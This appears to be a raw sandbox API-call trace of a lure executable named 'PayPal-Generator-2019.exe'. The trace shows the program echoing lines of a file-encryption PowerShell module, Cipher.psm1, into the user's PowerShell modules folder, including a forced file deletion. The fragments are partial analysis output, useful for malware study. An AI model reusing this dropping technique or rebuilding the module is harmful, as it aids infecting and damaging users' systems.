[0049.398] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.398] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.398] GetFileType (hFile=0x3c) returned 0x1 [0049.398] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1232 [0049.398] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d7a4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d7a4*=0) returned 0x1231 [0049.398] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d7a8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d798, lpOverlapped=0x0 | out: lpBuffer=0xe2d7a8*, lpNumberOfBytesRead=0xe2d798*=0x1, lpOverlapped=0x0) returned 1 [0049.399] GetConsoleTitleW (in: lpConsoleTitle=0xe2d5a8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.399] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.399] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.399] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.399] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.399] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.399] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.399] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.399] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.399] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.399] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.400] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d564 | out: _Buffer=" $result | Add-Member -MemberType NoteProperty -Name CipherMode -Value $Crypto.Mode \r\n") returned 102 [0049.400] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.400] GetFileType (hFile=0x3c) returned 0x1 [0049.400] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result | Add-Member -MemberType NoteProperty -Name CipherMode -Value $Crypto.Mode \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result | Add-Member -MemberType NoteProperty -Name CipherMode -Value $Crypto.Mode \r\n", lpUsedDefaultChar=0x0) returned 103 [0049.400] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xe2d554, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d554*=0x66, lpOverlapped=0x0) returned 1 [0049.400] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.400] _close (_FileHandle=3) returned 0 [0049.401] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.401] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.401] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.401] GetFileType (hFile=0x3c) returned 0x2 [0049.401] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.401] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d74c | out: lpMode=0xe2d74c) returned 1 [0049.401] _dup (_FileHandle=1) returned 3 [0049.401] _close (_FileHandle=1) returned 0 [0049.401] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.401] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d72c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.402] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.402] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.402] GetFileType (hFile=0x3c) returned 0x1 [0049.402] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1298 [0049.402] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d744*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d744*=0) returned 0x1297 [0049.402] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d748, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d738, lpOverlapped=0x0 | out: lpBuffer=0xe2d748*, lpNumberOfBytesRead=0xe2d738*=0x1, lpOverlapped=0x0) returned 1 [0049.402] GetConsoleTitleW (in: lpConsoleTitle=0xe2d548, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.422] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.422] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.422] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.422] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.422] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.422] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.422] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.422] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.422] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.422] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.423] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d504 | out: _Buffer=" $result | Add-Member -MemberType NoteProperty -Name PaddingMode -Value $Crypto.Padding \r\n") returned 106 [0049.423] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.423] GetFileType (hFile=0x3c) returned 0x1 [0049.423] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.423] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result | Add-Member -MemberType NoteProperty -Name PaddingMode -Value $Crypto.Padding \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result | Add-Member -MemberType NoteProperty -Name PaddingMode -Value $Crypto.Padding \r\n", lpUsedDefaultChar=0x0) returned 107 [0049.423] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xe2d4f4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d4f4*=0x6a, lpOverlapped=0x0) returned 1 [0049.423] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.423] _close (_FileHandle=3) returned 0 [0049.424] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.424] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.424] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.424] GetFileType (hFile=0x3c) returned 0x2 [0049.424] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.424] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d6ec | out: lpMode=0xe2d6ec) returned 1 [0049.426] _dup (_FileHandle=1) returned 3 [0049.426] _close (_FileHandle=1) returned 0 [0049.426] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.426] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d6cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.426] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.426] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.426] GetFileType (hFile=0x3c) returned 0x1 [0049.426] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1302 [0049.426] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d6e4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d6e4*=0) returned 0x1301 [0049.426] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d6e8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d6d8, lpOverlapped=0x0 | out: lpBuffer=0xe2d6e8*, lpNumberOfBytesRead=0xe2d6d8*=0x1, lpOverlapped=0x0) returned 1 [0049.426] GetConsoleTitleW (in: lpConsoleTitle=0xe2d4e8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.427] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.427] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.427] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.427] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.427] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.427] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.427] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.427] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.427] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.428] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.428] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d4a4 | out: _Buffer=" $result } \r\n") returned 40 [0049.428] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.428] GetFileType (hFile=0x3c) returned 0x1 [0049.428] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $result } \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $result } \r\n", lpUsedDefaultChar=0x0) returned 41 [0049.428] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0xe2d494, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d494*=0x28, lpOverlapped=0x0) returned 1 [0049.428] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.429] _close (_FileHandle=3) returned 0 [0049.430] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.430] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.430] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.430] GetFileType (hFile=0x3c) returned 0x2 [0049.430] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.430] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d68c | out: lpMode=0xe2d68c) returned 1 [0049.431] _dup (_FileHandle=1) returned 3 [0049.431] _close (_FileHandle=1) returned 0 [0049.431] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.431] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d66c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.431] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.431] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.431] GetFileType (hFile=0x3c) returned 0x1 [0049.431] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x132a [0049.431] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d684*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d684*=0) returned 0x1329 [0049.431] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d688, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d678, lpOverlapped=0x0 | out: lpBuffer=0xe2d688*, lpNumberOfBytesRead=0xe2d678*=0x1, lpOverlapped=0x0) returned 1 [0049.431] GetConsoleTitleW (in: lpConsoleTitle=0xe2d488, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.434] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.434] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.434] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.434] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.434] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.434] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.434] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.434] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.434] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.434] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.434] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d444 | out: _Buffer=" Catch { Write-Error $_ \r\n") returned 41 [0049.434] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.434] GetFileType (hFile=0x3c) returned 0x1 [0049.434] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Catch { Write-Error $_ \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Catch { Write-Error $_ \r\n", lpUsedDefaultChar=0x0) returned 42 [0049.434] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0xe2d434, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d434*=0x29, lpOverlapped=0x0) returned 1 [0049.434] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.436] _close (_FileHandle=3) returned 0 [0049.436] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.436] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.436] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.436] GetFileType (hFile=0x3c) returned 0x2 [0049.436] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.436] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d62c | out: lpMode=0xe2d62c) returned 1 [0049.449] _dup (_FileHandle=1) returned 3 [0049.449] _close (_FileHandle=1) returned 0 [0049.449] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.449] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d60c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.450] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.450] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.450] GetFileType (hFile=0x3c) returned 0x1 [0049.450] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1353 [0049.450] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d624*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d624*=0) returned 0x1352 [0049.450] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d628, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d618, lpOverlapped=0x0 | out: lpBuffer=0xe2d628*, lpNumberOfBytesRead=0xe2d618*=0x1, lpOverlapped=0x0) returned 1 [0049.450] GetConsoleTitleW (in: lpConsoleTitle=0xe2d428, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.451] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.451] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.451] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.451] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.451] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.451] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.451] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.451] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.451] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.451] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.451] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d3e4 | out: _Buffer=" If($FileStreamWriter) \r\n") returned 41 [0049.451] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.451] GetFileType (hFile=0x3c) returned 0x1 [0049.451] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.451] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" If($FileStreamWriter) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" If($FileStreamWriter) \r\n", lpUsedDefaultChar=0x0) returned 42 [0049.451] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0xe2d3d4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d3d4*=0x29, lpOverlapped=0x0) returned 1 [0049.451] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.452] _close (_FileHandle=3) returned 0 [0049.452] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.452] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.452] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.452] GetFileType (hFile=0x3c) returned 0x2 [0049.452] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.452] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d5cc | out: lpMode=0xe2d5cc) returned 1 [0049.452] _dup (_FileHandle=1) returned 3 [0049.452] _close (_FileHandle=1) returned 0 [0049.452] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.453] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d5ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.453] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.453] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.453] GetFileType (hFile=0x3c) returned 0x1 [0049.453] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x137c [0049.453] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d5c4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d5c4*=0) returned 0x137b [0049.453] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d5c8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d5b8, lpOverlapped=0x0 | out: lpBuffer=0xe2d5c8*, lpNumberOfBytesRead=0xe2d5b8*=0x1, lpOverlapped=0x0) returned 1 [0049.453] GetConsoleTitleW (in: lpConsoleTitle=0xe2d3c8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.453] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.454] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.454] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.454] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.454] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.454] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.454] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.454] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.454] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.454] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.454] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d384 | out: _Buffer=" { $FileStreamWriter.Close() \r\n") returned 49 [0049.454] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.454] GetFileType (hFile=0x3c) returned 0x1 [0049.454] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.454] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" { $FileStreamWriter.Close() \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" { $FileStreamWriter.Close() \r\n", lpUsedDefaultChar=0x0) returned 50 [0049.454] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0xe2d374, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d374*=0x31, lpOverlapped=0x0) returned 1 [0049.454] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.455] _close (_FileHandle=3) returned 0 [0049.455] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.455] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.455] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.455] GetFileType (hFile=0x3c) returned 0x2 [0049.455] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.455] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d56c | out: lpMode=0xe2d56c) returned 1 [0049.456] _dup (_FileHandle=1) returned 3 [0049.456] _close (_FileHandle=1) returned 0 [0049.456] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.456] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d54c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.456] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.456] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.456] GetFileType (hFile=0x3c) returned 0x1 [0049.456] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13ad [0049.456] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d564*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d564*=0) returned 0x13ac [0049.456] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d568, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d558, lpOverlapped=0x0 | out: lpBuffer=0xe2d568*, lpNumberOfBytesRead=0xe2d558*=0x1, lpOverlapped=0x0) returned 1 [0049.456] GetConsoleTitleW (in: lpConsoleTitle=0xe2d368, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.457] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.457] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.457] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.458] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.458] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.458] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.458] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.458] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.458] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.458] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.458] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d324 | out: _Buffer=" Remove-Item -LiteralPath $DestinationFile -Force } \r\n") returned 74 [0049.458] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.458] GetFileType (hFile=0x3c) returned 0x1 [0049.458] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Remove-Item -LiteralPath $DestinationFile -Force } \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Remove-Item -LiteralPath $DestinationFile -Force } \r\n", lpUsedDefaultChar=0x0) returned 75 [0049.458] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xe2d314, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2d314*=0x4a, lpOverlapped=0x0) returned 1 [0049.458] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.459] _close (_FileHandle=3) returned 0 [0049.459] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.459] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.459] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.459] GetFileType (hFile=0x3c) returned 0x2 [0049.459] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.459] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2d50c | out: lpMode=0xe2d50c) returned 1 [0049.460] _dup (_FileHandle=1) returned 3 [0049.460] _close (_FileHandle=1) returned 0 [0049.460] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.460] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2d4ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.461] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.461] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.461] GetFileType (hFile=0x3c) returned 0x1 [0049.461] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13f7 [0049.461] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2d504*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2d504*=0) returned 0x13f6 [0049.461] ReadFile (in: hFile=0x3c, lpBuffer=0xe2d508, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2d4f8, lpOverlapped=0x0 | out: lpBuffer=0xe2d508*, lpNumberOfBytesRead=0xe2d4f8*=0x1, lpOverlapped=0x0) returned 1 [0049.461] GetConsoleTitleW (in: lpConsoleTitle=0xe2d308, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.462] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.462] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.462] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.462] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.462] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.462] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.462] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.462] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.462] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.462] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.462] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2d2c4 | out: _Buffer=" Continue \r\n") returned 28 [0049.462] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.462] GetFileType (hFile=0x3c) returned 0x1 [0049.462] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.462] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Continue \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, 